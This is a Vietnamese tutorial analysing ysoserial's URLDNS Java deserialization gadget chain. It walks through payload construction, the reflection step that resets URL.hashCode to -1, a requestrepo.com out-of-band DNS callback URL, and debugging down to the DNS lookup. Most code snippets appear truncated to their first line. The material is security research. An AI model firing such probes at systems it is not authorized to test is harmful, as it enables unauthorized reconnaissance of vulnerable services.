Java Deserialze - URLDNS Chain analysis (ysoserial)
Java Deserialze - URLDNS Chain analysis (ysoserial)

Java Deserialize là gì?
- Java cung cấp cho người dùng hàm
writeObject()để tiến hành quá trìnhserializecác object ở đây quá trình serialize sinh ra để chuyển một đối tượng Java thành chuỗi byte để lưu trữ (file, DB) hoặc truyền qua mạng (socket, RMI, JMS). - Và để có thể đọc được dữ liệu được serialize từ
ObjectInputStreamta có quá trìnhdeserializeở java sử dụng hàmreadObject()cho quá trình đó.
Khai thác Java Object Injection
- Rủi ro sẽ đến với các đối tượng xử lý deserialize các
Untrusted Data. - Attacker có thể lợi dụng các magic method, cách mà OOP vận hành từ đó tạo ra
exploit chainhoàn chỉnh và tiến hành sử dụng payload.
Tiến hành Setup môi trường test

Tiến hành truy cập Respository của ysoserial tại : https://github.com/frohoff/ysoserial
Bây giờ tiến hành tải toàn bộ project về phân tích.

Với project java như này để dễ cho việc đặt break point và debug thì tôi sử dụng IntelliJ IDEA để phân tích và debug.

Truy cập vào Project sau đó truy cập đến thẳng /src/main/java/ysoserial/payloads/URLDNS ở đây tôi không cần cài thêm cái gì nữa vì IntelliJ hầu như có sẵn hết rồi chỉ việc debug.
Một số điều về URLDNS
- Một trong những ưu điểm của
URLDNSlà nó ==không yêu cầu== bất kìlibrary/dependenciesnào nên có thể dùng để nhận biết Deserialization ở trên bất kì version của Java. - Đây là một trong số các chain đơn giản nhất của ysoserial.
- Chain này ==không có tác dụng để RCE== nó chỉ đơn giản có tác dụng là chạy ==DNS request== chức năng nó tương tự như là DNSLookup.
- URLDNS là một “gadget chain” dùng trong các cuộc thử nghiệm deserialization ==Java OOB (out‑of‑band)== khi mà attacker nhận được kết quả truy vấn DNS thì chứng tỏ payload đã thực thi.
- Chain tận dụng các lớp/behavior có sẵn trên classpath của JVM mục tiêu (ví dụ các lớp trong java.net, JNDI, hoặc các thư viện bên thứ ba) để khiến JVM thực hiện lookup.
Tiến hành phân tích source và payload
Tiến vào trong payload ta thấy rằng có rất nhiều dòng comment để giải thích luồng hoạt động của payload cho ta dễ hiểu được cách mà payload đó hoạt động ở đây có dòng :
1 | * Gadget Chain: |
Ở đây họ comment cho mình luôn gadget chain của payload này cụ thể ở đây nó sẽ lần lượt gọi đến theo thứ tự :
1 | HashMap.readObject() --> HashMap.putVal() --> HashMap.hash() --> URL.hashCode() |
Bây giờ ta đi vào các thành phần bên trong payload.

1 | public class URLDNS implements ObjectPayload<Object> { |
Ở comment nói khá đầy đủ nhưng mình vẫn sẽ phân tích từng đoạn một :
- Hàm
getObject(final)được gọi khi mà bắt đầu quá trình serialize
1 | URLStreamHandler handler = new SilentURLStreamHandler(); |
- Ở đây từ
URLStreamHandlerta tạo một handle khác tuỳ chỉnh để có thể tránh việc nó thực hiện DNS resolution trong quá trình tạo payload nghĩa là nếu trong quá trình tạo ra payload nếu không có handle này nó sẽ tự động truy vấn trong lúc gen payload.
1 | HashMap ht = new HashMap(); // HashMap that will contain the URL |
- Tạo một HashMap và dùng URL làm key, giá trị chỉ là chuỗi url (Serializable).
- Việc dùng URL làm key là quan trọng: HashMap sử dụng hashCode() của key để tính bucket; khi HashMap được deserialize, mã sẽ tính lại hashCode cho từng key, và đó là lúc URL có thể thực hiện lookup.
1 | Reflections.setFieldValue(u, "hashCode", -1); |
- Gọi reflection, ta để ý ở trên giá trị
uđã đượcputở bên trên sau đó nó được hashcode tính là tiến hành cache bây giờ chỉ cần giá trịhashcodeđược gọi thì nó sẽ tiến hành DNS request sau đó cài hashcode là-1thì nó sẽ tự dọn đi giá trị cũ hashmap sau chỉ cần có giá trị mới nó sẽ lặp lại quá trình trigger.
1 | return ht; |
- Trả về HashMap chứa URL key. Khi object này được serialized rồi gửi tới server mục tiêu và server gọi ObjectInputStream.readObject(), HashMap.readObject() sẽ khôi phục các entry và gọi put/rehash, dẫn tới gọi URL.hashCode() => DNS lookup.
Debug
Bây giờ ta sẽ Debug từ hàm main để xem nó như thế nào.

Đầu tiên ta sẽ click phải vào hàm main sau đó đi đến Edit Run Configuration ở đây là URLDNS nó hiện ra cho bạn sau đó sử dụng bất kì công cụ nào để bắt request cũng được bạn có thể dùng Burp Collab ở đây mình dùng RequestRepo để bắt được DNS request trả về.
Sau khi apply và ok thì ta sẽ bấm debug hàm main này chờ xem kết quả trả về ở đây là gì.

Kết quả trả về khá là khả quan nó đã connect đến target sau đó gen payload tiến hành serialize sau đó deserialize cuối cùng là disconnect với target bây giờ truy cập target xem có request nào không.

Thành công bắt trọn được 2 DNS request vậy ta chắc chắn rằng payload thực hiện DNS request tốt bây giờ tiến hành đặt breakpoint để đi theo flow của gadget chains.
Đầu tiên ta thử breakpoint ở hàm main trước.


Debug đã nhận bây giờ dùng phím F7 để có thể tiếp tục chạy đến xem thử flow xử lý của code payload này.

Khi chạy đến nơi xử lý HashMap ta thấy rằng giá trị URL đã được gắn vào key đó.

Sau khi chạy đến đoạn ht.put(u, url); thì ta thấy nó bắt đầu trigger DNS request giá trị các trường được gắn bên dưới ta sẽ khám phá nơi hàm put này được khai báo để xem nó có gọi đến gadget nào không.

Ở đây ta thấy nó trỏ đến hàm này mà ta để ý rằng trong đoạn comment của chain có

Mà ta để ý rằng hàm readObject nằm bên trong rt.jar bây giờ nó gọi đến putVal hay là HashMap.putVal()


Tra đường đi của hàm readObject ta thấy rằng nó được gọi ở đây ở ngay hàm readObject ở đây ta có thể thử đặt breakpoint để debug.

Có thể thấy các key value đã được gán vào bây giờ ta sẽ thử trỏ đến method hash(key) xem thử nó gọi đến đâu tiến hành F7 và chọn vào method hash.

Từ method readObject() gọi tới method hash() và có truyền vào biến key, giá trị của key chính là URL Object của target mình cần resolve DNS.
Tại đây nó gọi tới method hash của object key vừa được truyền vào cụ thể là key.hashcode() hay lúc này là URL.hashcode().

Method hashCode() nằm ở class URL tiến hành check xem thử có giá trị hashCode nào được cache không trong trường hợp nó đã được cache thì nó sẽ return về giá trị luôn có nghĩa là nếu hashCode != -1 thì nó sẽ return luôn và đoạn chain nó sẽ đứt ở đây vì thế thứ ta cần là để nó thoả mãn điều kiện if để URL.hashCode() được call đến handler.hashCode(). Vì thế ở đây để điều kiện nó luôn = -1 thì ta sẽ sử dụng java reflection.

Ta có thể thấy rằng trong payload tác giả đã để sẵn một hàm Reflection và set giá trị hashCode() luôn luôn là -1.
Ở bên dưới ta còn thấy object hashCode() còn được handler gọi đến ta sẽ đi đến thử handler này xem nó xử lý gì.

Vì ở đây là một giá trị private field ta sẽ dùng thử reflection để dựng lại URLDNS chain xem thử nó có đúng với luồng hoạt động mà ta đã đi không.
1 | URL u1 = new URL(null, "https://a7kvklhv.requestrepo.com/", handler); |
Tạo biến URL mới bao gồm 3 giá trị bên trong sử dụng lại ht khi đã gọi HashMap sau đó lấy Field HashCode từ class URL sau đó ta sẽ set cho Field đó là Accessible là true vì khi không set thì nó mặc định Field đã là private thì mình không thể reflect đến được sau đó ta tiến hành set giá trị object của class URL ở đây ta set là -1.


Ta có thể thấy debug đã đúng như ta dự đoán giá trị hashCode của object u1 đã được set thành -1 thành công kiểm chứng được reflected ta sẽ thử đổi thành 1 xem liệu nó có thay đổi không nếu thanh đổi được thì gadget đã đúng với hướng.

Thành công đổi hashCode thành 1 vậy là ta đã dựng được đúng.
Sau quá trình phân tích reflected ta tiếp tục debug với handler xem nó xử lý gì tiếp ở sau.
Như các bạn đã thấy thì URL.hashCode() sẽ call tới handler.hashCode(), handler ở đây là object của class URLStreamHandler


Hàm này được khai báo abstract ta sẽ thử debug đọc từng dòng trong class URLStreamHandler.

Tìm thấy một hàm rất khả nghi ở đây vì ở đây nó thực hiện getHostAddress(u) sau đó nếu mà biến u != null thì thực hiện gọi đến hashCode() nên ta sẽ thử đặt một cái breakpoint ngay hàm này xem.

Ở đây nếu debug tiếp nó sẽ gọi về url DNS của mình ta tiếp tục follow.

Ta thấy rằng ở đây InetAddress .getByName() đã gọi đến host trong khi đó nó trỏ đến URL của ta thêm vào vậy đây chính là sink của cả payload là nơi thực thi resolve DNS.
Đây là file Generation Payload nó sẽ trả về file dưới dạng base64 format giống như payload do payload gốc đưa ra.
1 | package ysoserial.payloads; |
